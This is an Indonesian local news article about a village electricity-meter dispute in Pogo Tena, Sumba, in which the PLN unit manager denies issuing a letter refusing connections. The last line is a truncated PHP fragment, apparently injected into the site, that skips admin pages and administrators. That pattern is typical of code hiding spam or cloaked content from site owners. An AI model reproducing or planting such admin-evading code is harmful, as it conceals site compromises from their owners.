Berita Desa

Alasan Pemdes Pogo Tena Cuma Isapan Jempol, Manager PLN ULP Sumba Jaya Sebut Tidak Pernah Keluarkan Surat Penolakan Penyambungan Listrik

×

Alasan Pemdes Pogo Tena Cuma Isapan Jempol, Manager PLN ULP Sumba Jaya Sebut Tidak Pernah Keluarkan Surat Penolakan Penyambungan Listrik

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Pernyataan pemerintah desa Pogo Tena, Kecamatan Loura yang menyebut PLN menolak penyambungan listrik terhadap 13 calon pelanggan ternyata cuma isapan jempol.

Ditemui pimpinan dan anggota BPD Pogo Tena, Rabu (30/07/2025) Manager PLN ULP Sumba Jaya, Prasetyo Jati membantah jika pihaknya mengeluarkan surat penolakan penyambungan listrik untuk 13 rumah tangga tersebut.

Pimpinan dan anggota BPD Pogo Tena saat bertandang ke Kantor PLN ULP Sumba Jaya, Rabu (30/07/2025) lalu. ( Foto Menara Sumba )

“Kami pihak PLN tidak pernah keluarkan surat penolakan penyambungan listrik untuk 13 warga Desa Pogo Tena,” tegasnya.

Ia menyebut, penyambungan listrik ke rumah calon pelanggan oleh vendor sesuai data nama yang disampaikan pemerintah desa.

Untuk mengetahui duduk persoalan itu, sebut Prasetyo, sebaiknya BPD mengonfirmasi langsung vendor yang melakukan pemasangan meteran dan penyambungan listrik ke rumah calon pelanggan.

“Memang ada survei yang dilakukan oleh vendor untuk mengetahui layak tidaknya penyambungan listrik,” ungkap Prasetyo.

Perubahan data nama penerima bantuan meteran listrik bukan lantaran penolakan yang oleh pemerintah desa disebut tercantum dalam surat resmi PLN.

“Kami tidak tahu menahu dan tidak pernah keluarkan surat penolakan. Itu urusan pemerintah desa yang usulkan nama,” tandasnya.

Ia juga membantah adanya kuitansi pembayaran pulsa listrik sejumlah 500 ribu untuk setiap penerima bantuan meteran tersebut.

Pembelian pulsa, kata dia lebih lanjut, dilakukan dengan sistem online lewat pembayaran token.

“Tidak benar kami keluarkan kuitansi pembelian pulsa, itu bukan urusan PLN,” timpalnya.

Seperti diberitakan sebelumnya, kisruh ini mencuat setelah Pemerintah Desa Pogo Tena mengalihkan secara sepihak pemasangan meteran listrik untuk 13 rumah tangga di desa itu.

Dalam APBDesa Pogo Tena Tahun 2024 dianggarkan biaya pemasangan meteran listrik untuk 20 rumah tangga.

Namun kemudian hanya 7 rumah tangga yang benar-benar dilayani sesuai data dalam APBDesa tersebut.

Selebihnya dialihkan secara sepihak tanpa sepengetahuan Badan Permusyawaratan Desa Pogo Tena dan telah melanggar ketentuan yang disepakati bersama dalam APBDesa Tahun 2024.

Akibatnya, BPD Pogo Tena melayangkan aduan ke Inspektorat Kabupaten SBD pada 2 Juli 2025 lalu.

Pihak BPD meminta Inspektorat untuk memeriksa kepala desa Pogo Tena.

Upaya konfirmasi yang dilakukan media ini kepada Kepala Desa Pogo Tena, John Adolf lewat chat juga kontak WhatsApp pada Sabtu (26/07/2025) dan Senin (28/07/2025) tidak mendapatkan respon.

Dalam keterangan pers pada Rabu (30/07/2025) usai bertemu Kepala Inspektorat Kabupaten SBD, Ketua BPD Pogo Tena, Aloysius Dimu Dede dan Wakil Ketua BPD Pogo Tena, Adrianus Bawa Tako menegaskan, persoalan ini jadi salah satu dasar untuk menolak LPJ Kepala Desa Pogo Tena.

BPD Pogo Tena berharap kisruh meteran listrik dan sejumlah persoalan lain di desa itu mendapat atensi serius Inspektorat untuk ditelisik. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>